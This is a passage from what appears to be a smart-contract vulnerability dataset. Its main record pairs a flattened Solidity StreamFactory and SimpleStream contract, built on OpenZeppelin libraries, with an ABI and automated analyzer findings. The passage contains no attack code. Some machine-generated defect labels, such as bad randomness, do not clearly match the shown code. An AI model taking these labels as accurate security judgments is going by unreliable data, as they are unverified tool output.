1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 319, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 368, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 4, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 10, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 17, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 22, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 31, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 58, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 65, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 119, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 181, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 305, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 326, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 337, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 100, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 257, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 263, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 281, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 286, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 288, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 290, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 295, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 297, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 318, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 319, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 367, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 37, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 31, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 32, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 46, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 58, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 65, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 66, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 67, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 82, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 100, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 119, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 133, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 151, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 161, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 198, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 247, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 354, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 365, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 377, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 39, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 73, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"token","type":"address"}],"name":"recoverTokens","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"burnAmount","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"value","type":"uint256"}],"name":"upgrade","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_name","type":"string"},{"name":"_symbol","type":"string"}],"name":"setTokenInformation","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradeAgent","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"upgradeMaster","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getUpgradeState","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"canUpgrade","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"token","type":"address"}],"name":"tokensToBeReturned","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalUpgraded","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"agent","type":"address"}],"name":"setUpgradeAgent","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"isToken","outputs":[{"name":"weAre","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"BURN_ADDRESS","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"master","type":"address"}],"name":"setUpgradeMaster","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newName","type":"string"},{"indexed":false,"name":"newSymbol","type":"string"}],"name":"UpdatedTokenInformation","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Upgrade","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"agent","type":"address"}],"name":"UpgradeAgentSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"burner","type":"address"},{"indexed":false,"name":"burnedAmount","type":"uint256"}],"name":"Burned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}] | v0.4.20+commit.3155dd80 | false | 200 | Default | false | bzzr://7ed757aac8b327149451d106d40a00d7fcb04f0afb021e0b196ebf46a44b1e52 |
||||
StreamFactory | 0x83956ee78a378c8b9fcdea283c627da4b59ae9dd | Solidity | // File: @openzeppelin/contracts/access/AccessControl.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File: @openzeppelin/contracts/access/IAccessControl.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// File: @openzeppelin/contracts/access/Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: contracts/SimpleStream.sol
//SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/// @title Simple Stream Contract
/// @author ghostffcode
/// @notice the meat and potatoes of the stream
contract SimpleStream is Ownable {
event Withdraw(address indexed to, uint256 amount, string reason);
event Deposit(address indexed from, uint256 amount, string reason);
address payable public toAddress; // = payable(0xD75b0609ed51307E13bae0F9394b5f63A7f8b6A1);
uint256 public cap; // = 0.5 ether;
uint256 public frequency; // 1296000 seconds == 2 weeks;
uint256 public last; // stream starts empty (last = block.timestamp) or full (block.timestamp - frequency)
IERC20 public gtc;
constructor(
address payable _toAddress,
uint256 _cap,
uint256 _frequency,
bool _startsFull,
IERC20 _gtc
) {
toAddress = _toAddress;
cap = _cap;
frequency = _frequency;
gtc = _gtc;
if (_startsFull) {
last = block.timestamp - frequency;
} else {
last = block.timestamp;
}
}
/// @dev update the cap of a stream
/// @param _cap cap update value for the stream
function updateCap(uint256 _cap) public onlyOwner {
cap = _cap;
}
/// @dev get the balance of a stream
/// @return the balance of the stream
function streamBalance() public view returns (uint256) {
if (block.timestamp - last > frequency) {
return cap;
}
return (cap * (block.timestamp - last)) / frequency;
}
/// @dev withdraw from a stream
/// @param amount amount of withdraw
/// @param reason reason for withdraw
function streamWithdraw(uint256 amount, string memory reason) external {
require(msg.sender == toAddress, "this stream is not for you");
uint256 totalAmountCanWithdraw = streamBalance();
require(totalAmountCanWithdraw >= amount, "not enough in the stream");
uint256 cappedLast = block.timestamp - frequency;
if (last < cappedLast) {
last = cappedLast;
}
last =
last +
(((block.timestamp - last) * amount) / totalAmountCanWithdraw);
emit Withdraw(msg.sender, amount, reason);
require(gtc.transfer(msg.sender, amount), "Transfer failed");
}
/// @notice Explain to an end user what this does
/// @dev Explain to a developer any extra details
/// @param reason reason for deposit
/// @param value the amount of the deposit
function streamDeposit(string memory reason, uint256 value) external {
require(value >= cap / 10, "Not big enough, sorry.");
require(
gtc.transferFrom(msg.sender, address(this), value),
"Transfer of tokens is not approved or insufficient funds"
);
emit Deposit(msg.sender, value, reason);
}
}
// File: contracts/StreamFactory.sol
//SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./SimpleStream.sol";
/// @title Stream Factory Contract
/// @author ghostffcode
/// @notice Creates instances of SimpleStream for users
contract StreamFactory is AccessControl, Ownable {
mapping(address => address) public userStreams;
/// @dev StreamAdded event to track the streams after creation
event StreamAdded(address creator, address user, address stream);
bytes32 public constant FACTORY_MANAGER = keccak256("FACTORY_MANAGER");
/// @dev modifier for the factory manager role
modifier isPermittedFactoryManager() {
require(
hasRole(FACTORY_MANAGER, msg.sender),
"Not an approved factory manager"
);
_;
}
constructor(address _admin) {
_setupRole(DEFAULT_ADMIN_ROLE, _admin);
_setupRole(FACTORY_MANAGER, _admin);
transferOwnership(_admin);
}
/// @notice Creates a new stream
/// @param _toAddress the address of the payee
/// @param _cap the stream max balance for the period of time
/// @param _frequency the frequency of the stream
/// @param _startsFull does the stream start full?
/// @param _gtc the GTC token address
function createStreamFor(
address payable _toAddress,
uint256 _cap,
uint256 _frequency,
bool _startsFull,
IERC20 _gtc
) public isPermittedFactoryManager returns (address streamAddress) {
// deploy a new stream contract
SimpleStream newStream = new SimpleStream(
_toAddress,
_cap,
_frequency,
_startsFull,
_gtc
);
streamAddress = address(newStream);
// map user to new stream
userStreams[_toAddress] = streamAddress;
emit StreamAdded(msg.sender, _toAddress, streamAddress);
}
/// @notice Add a new stream for a new user
/// @param stream the stream contract address
function addStreamForUser(SimpleStream stream)
public
isPermittedFactoryManager
{
address payable _toAddress = stream.toAddress();
address streamAddress = address(stream);
userStreams[_toAddress] = streamAddress;
emit StreamAdded(msg.sender, _toAddress, streamAddress);
}
function updateUserStreamCap(address user, uint256 cap)
public
isPermittedFactoryManager
{
SimpleStream(userStreams[user]).updateCap(cap);
}
/// @notice returns a stream for a specified user
/// @param user the user to get a stream for
function getStreamForUser(address user) public view returns (address) {
return userStreams[user];
}
/// @notice Adds a new Factory Manager
/// @param _newFactoryManager the address of the person you are adding
function addFactoryManager(address _newFactoryManager) public onlyOwner {
grantRole(FACTORY_MANAGER, _newFactoryManager);
}
}
| [{"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["666", "694", "668", "698"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["378", "196", "522", "544"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["368", "357", "342"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["698", "666", "681", "694"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["681", "684", "695"]}] | [{"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/access/AccessControl.sol": [3], "@openzeppelin/contracts/access/IAccessControl.sol": [3], "@openzeppelin/contracts/access/Ownable.sol": [3], "@openzeppelin/contracts/token/ERC20/IERC20.sol": [3], "@openzeppelin/contracts/utils/Context.sol": [3], "@openzeppelin/contracts/utils/Strings.sol": [3], "@openzeppelin/contracts/utils/introspection/ERC165.sol": [3], "@openzeppelin/contracts/utils/introspection/IERC165.sol": [3], "contracts/SimpleStream.sol": [2], "contracts/StreamFactory.sol": [2]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/access/AccessControl.sol": [192, 193, 194, 195, 191]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Strings.sol": [39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Strings.sol": [14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Context.sol": [20, 21, 22]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"@openzeppelin/contracts/access/Ownable.sol": [53, 54, 55]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"contracts/StreamFactory.sol": [96, 94, 95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"contracts/StreamFactory.sol": [88, 89, 90]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"contracts/StreamFactory.sol": [41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": 